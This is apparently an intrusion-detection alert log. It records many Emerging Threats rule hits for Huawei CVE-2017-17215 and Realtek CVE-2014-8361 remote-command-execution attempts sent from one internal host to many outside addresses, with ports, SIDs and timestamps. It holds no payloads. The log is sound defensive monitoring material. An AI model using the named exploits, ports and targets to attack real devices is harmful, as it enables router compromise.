Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 20.197.184.179

Timestamp:	07/20/24-23:01:28.205022
SID:	2835222
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 189.144.99.123

Timestamp:	07/20/24-23:01:23.047135
SID:	2027339
Source Port:	49012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.131.179

Timestamp:	07/20/24-23:01:33.043558
SID:	2829579
Source Port:	60832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.13.42

Timestamp:	07/20/24-23:01:14.406708
SID:	2829579
Source Port:	56822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.163.219.39

Timestamp:	07/20/24-23:01:07.653968
SID:	2835222
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.241.73

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	42132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.201.252.170

Timestamp:	07/20/24-23:01:28.143994
SID:	2829579
Source Port:	58970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.131.207.210

Timestamp:	07/20/24-23:01:07.674717
SID:	2835222
Source Port:	43254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 192.84.42.215

Timestamp:	07/20/24-23:01:34.983816
SID:	2027339
Source Port:	56052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.11.176

Timestamp:	07/20/24-23:01:22.772933
SID:	2829579
Source Port:	48352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 43.85.108.87

Timestamp:	07/20/24-23:01:34.682196
SID:	2025132
Source Port:	49740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.168.145.158

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	58432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.101.13

Timestamp:	07/20/24-23:01:25.284909
SID:	2835222
Source Port:	46782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.102.92

Timestamp:	07/20/24-23:01:37.124220
SID:	2829579
Source Port:	52314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.213.179.125

Timestamp:	07/20/24-23:01:13.330930
SID:	2027339
Source Port:	39168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.181.248.17

Timestamp:	07/20/24-23:01:19.227177
SID:	2835222
Source Port:	49070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.15.112

Timestamp:	07/20/24-23:01:05.927305
SID:	2835222
Source Port:	38678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 72.222.174.251

Timestamp:	07/20/24-23:01:13.333349
SID:	2831300
Source Port:	47854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.17.248

Timestamp:	07/20/24-23:01:19.220572
SID:	2835222
Source Port:	48672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.232.37.130

Timestamp:	07/20/24-23:01:07.426607
SID:	2027339
Source Port:	35034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.118.67.125

Timestamp:	07/20/24-23:01:11.461274
SID:	2835222
Source Port:	55820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.201.182.108

Timestamp:	07/20/24-23:01:37.171010
SID:	2829579
Source Port:	51518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.173.238.249

Timestamp:	07/20/24-23:01:29.186915
SID:	2027339
Source Port:	34166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 50.184.118.30

Timestamp:	07/20/24-23:01:34.949877
SID:	2027339
Source Port:	41996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 197.234.206.236

Timestamp:	07/20/24-23:01:29.187581
SID:	2027339
Source Port:	47646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.148.40

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	58012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 194.97.213.111

Timestamp:	07/20/24-23:01:30.726948
SID:	2025132
Source Port:	49798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.230.50.180

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	46620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 164.158.91.189

Timestamp:	07/20/24-23:01:33.605284
SID:	2025132
Source Port:	50700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.167.163.145

Timestamp:	07/20/24-23:01:29.173099
SID:	2027339
Source Port:	53560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 72.66.251.190

Timestamp:	07/20/24-23:01:29.204277
SID:	2831300
Source Port:	54752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.48.18

Timestamp:	07/20/24-23:01:28.184352
SID:	2835222
Source Port:	51694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.87.192.88

Timestamp:	07/20/24-23:01:13.333101
SID:	2027339
Source Port:	49812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.58.72

Timestamp:	07/20/24-23:01:05.895933
SID:	2835222
Source Port:	37054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.14.113.103

Timestamp:	07/20/24-23:01:33.050087
SID:	2835222
Source Port:	49048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.183.27.248

Timestamp:	07/20/24-23:01:02.411662
SID:	2835222
Source Port:	34332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 61.33.247.239

Timestamp:	07/20/24-23:01:30.736329
SID:	2027339
Source Port:	45316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.245.150.186

Timestamp:	07/20/24-23:01:07.668438
SID:	2829579
Source Port:	41768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.175.29.238

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	37652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.170.112.7

Timestamp:	07/20/24-23:01:33.055417
SID:	2829579
Source Port:	45028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 73.141.57.7

Timestamp:	07/20/24-23:01:24.075555
SID:	2027339
Source Port:	55060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 35.167.163.145

Timestamp:	07/20/24-23:01:24.490480
SID:	2025132
Source Port:	52988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.139.236.132

Timestamp:	07/20/24-23:01:33.059039
SID:	2829579
Source Port:	56144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 90.38.224.171

Timestamp:	07/20/24-23:01:33.183640
SID:	2027339
Source Port:	58592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.141.214.119

Timestamp:	07/20/24-23:01:07.684133
SID:	2835222
Source Port:	60174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.220.244.9

Timestamp:	07/20/24-23:01:11.454991
SID:	2829579
Source Port:	39382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.39.188.191

Timestamp:	07/20/24-23:01:25.230327
SID:	2829579
Source Port:	41456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 76.153.92.60

Timestamp:	07/20/24-23:01:31.211608
SID:	2027339
Source Port:	36868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 133.182.11.249

Timestamp:	07/20/24-23:01:34.952294
SID:	2027339
Source Port:	60444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.67.89.6

Timestamp:	07/20/24-23:01:22.792913
SID:	2835222
Source Port:	60158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 102.213.194.254

Timestamp:	07/20/24-23:01:24.075435
SID:	2831300
Source Port:	55902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 124.106.212.23

Timestamp:	07/20/24-23:01:24.313246
SID:	2025132
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 82.86.85.182

Timestamp:	07/20/24-23:01:05.453905
SID:	2025132
Source Port:	50060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.241.55.97

Timestamp:	07/20/24-23:01:11.474688
SID:	2829579
Source Port:	36486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 144.251.49.213

Timestamp:	07/20/24-23:01:23.061358
SID:	2025132
Source Port:	56716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 109.148.201.214

Timestamp:	07/20/24-23:01:29.169710
SID:	2831300
Source Port:	41784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.174.38.103

Timestamp:	07/20/24-23:01:37.227564
SID:	2835222
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.105.28

Timestamp:	07/20/24-23:01:02.414137
SID:	2835222
Source Port:	36598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.17.81.186

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	36016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.221.76.168

Timestamp:	07/20/24-23:01:25.281671
SID:	2829579
Source Port:	59398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.151.246.95

Timestamp:	07/20/24-23:01:34.945022
SID:	2027339
Source Port:	58364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 102.223.154.160

Timestamp:	07/20/24-23:01:13.333720
SID:	2027339
Source Port:	57648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 160.6.169.188

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	51940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.184.130

Timestamp:	07/20/24-23:01:05.898280
SID:	2829579
Source Port:	51778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.55.206.151

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	36684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.83.201

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	43220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.82.252.86

Timestamp:	07/20/24-23:01:19.335605
SID:	2835222
Source Port:	38520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.223.201.35

Timestamp:	07/20/24-23:01:19.221647
SID:	2829579
Source Port:	56434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.191.4

Timestamp:	07/20/24-23:01:25.284910
SID:	2829579
Source Port:	40864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.188.132.33

Timestamp:	07/20/24-23:01:11.461274
SID:	2835222
Source Port:	49370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.199.152

Timestamp:	07/20/24-23:01:37.121609
SID:	2829579
Source Port:	45900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 34.37.107.29

Timestamp:	07/20/24-23:01:13.328619
SID:	2027339
Source Port:	35474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.36.6.236

Timestamp:	07/20/24-23:01:14.396917
SID:	2829579
Source Port:	50242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.133.177.131

Timestamp:	07/20/24-23:01:11.448569
SID:	2835222
Source Port:	51336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.47.87.238

Timestamp:	07/20/24-23:01:02.414137
SID:	2829579
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 181.57.234.228

Timestamp:	07/20/24-23:01:31.081501
SID:	2025132
Source Port:	43532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 72.146.47.133

Timestamp:	07/20/24-23:01:06.619651
SID:	2025132
Source Port:	55584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.244.86

Timestamp:	07/20/24-23:01:11.467355
SID:	2829579
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.13.49.74

Timestamp:	07/20/24-23:01:33.084068
SID:	2829579
Source Port:	58948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.81.248.145

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	35994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.253.42

Timestamp:	07/20/24-23:01:25.289824
SID:	2829579
Source Port:	52780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 112.236.210.206

Timestamp:	07/20/24-23:01:13.330389
SID:	2831300
Source Port:	42470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.25.38.227

Timestamp:	07/20/24-23:01:28.208110
SID:	2835222
Source Port:	44970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.146.172

Timestamp:	07/20/24-23:01:37.163818
SID:	2835222
Source Port:	46196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.91.36.141

Timestamp:	07/20/24-23:01:05.900314
SID:	2835222
Source Port:	34592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.23.236

Timestamp:	07/20/24-23:01:22.785873
SID:	2835222
Source Port:	57318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.110.164

Timestamp:	07/20/24-23:01:37.208725
SID:	2829579
Source Port:	52422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 37.92.251.97

Timestamp:	07/20/24-23:01:06.126792
SID:	2027339
Source Port:	60050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.40.6

Timestamp:	07/20/24-23:01:28.211361
SID:	2835222
Source Port:	60326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.89.132

Timestamp:	07/20/24-23:01:11.454417
SID:	2829579
Source Port:	39712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 176.192.185.101

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	47668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.111.221.178

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	43804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 207.107.95.51

Timestamp:	07/20/24-23:01:13.331537
SID:	2027339
Source Port:	48176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.141.169

Timestamp:	07/20/24-23:01:37.120709
SID:	2835222
Source Port:	54438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.46.64.49

Timestamp:	07/20/24-23:01:05.906603
SID:	2829579
Source Port:	40154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.9.253

Timestamp:	07/20/24-23:01:37.122115
SID:	2829579
Source Port:	46260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.99.130.21

Timestamp:	07/20/24-23:01:19.224455
SID:	2835222
Source Port:	55106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.169.182

Timestamp:	07/20/24-23:01:33.043558
SID:	2829579
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.62.54.159

Timestamp:	07/20/24-23:01:37.122115
SID:	2835222
Source Port:	57518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.2.151.170

Timestamp:	07/20/24-23:01:28.196416
SID:	2829579
Source Port:	51582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.133.29.249

Timestamp:	07/20/24-23:01:29.528550
SID:	2027339
Source Port:	60468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

